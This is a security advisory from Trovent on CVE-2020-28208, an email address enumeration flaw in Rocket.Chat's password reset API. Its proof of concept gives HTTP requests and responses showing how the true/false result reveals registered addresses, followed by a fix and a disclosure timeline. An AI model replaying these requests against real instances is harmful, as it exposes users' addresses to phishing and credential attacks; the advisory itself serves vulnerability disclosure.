[FD] Trovent Security Advisory 2010-01 / CVE-2020-28208: Rocket.Chat email address enumeration vulnerability

[Stefan Pietsch <s.pietsch@xxxxxxxxxx>]

# Trovent Security Advisory 2010-01 #
#####################################


Email address enumeration in reset password
###########################################


Overview
########

Advisory ID: TRSA-2010-01
Advisory version: 1.0
Advisory status: Public
Advisory URL: https://trovent.io/security-advisory-2010-01
Affected product: Web application Rocket.Chat
Affected version: <= 3.7.1
Vendor: Rocket.Chat Technologies Corp., https://rocket.chat
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch


Detailed description
####################

Trovent Security GmbH discovered an email address enumeration vulnerability
in the password reset function of the chat application Rocket.Chat. This 
vulnerability lets
an unauthorized user enumerate registered email addresses on the instance of 
Rocket.Chat.

Severity: Medium
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CVE ID: CVE-2020-28208
CWE ID: CWE-204


Proof of concept
################

Sample HTTP request sent with a registered email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 122
Accept: */*
Content-Type: application/json


{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"positive@xxxxxxx\"],\"id\":\"3\"}"}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The server response to a valid email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNLdbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:01:25 GMT
Connection: keep-alive
Content-Length: 78

{"message":"{\"msg\":\"result\",\"id\":\"3\",\"result\":true}","success":true}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sample HTTP request sent with a non registered email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 119
Accept: */*
Content-Type: application/json


{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"false@xxxxxxx\"],\"id\":\"3\"}"}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The server response to an invalid email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNLdbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:03:08 GMT
Connection: keep-alive
Content-Length: 79

{"message":"{\"msg\":\"result\",\"id\":\"3\",\"result\":false}","success":true}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution / Workaround
#####################

Ensure the application returns consistent generic server responses independent
of the email address entered during the password reset process.


History
#######

2020-10-27: Vulnerability found
2020-11-03: Advisory created and CVE ID requested
2020-11-06: Vendor contacted and informed about planned disclosure date
2020-11-06: Vendor confirmed vulnerability, working on a fix
2021-01-07: Advisory published

Attachment: signature.asc
Description: OpenPGP digital signature

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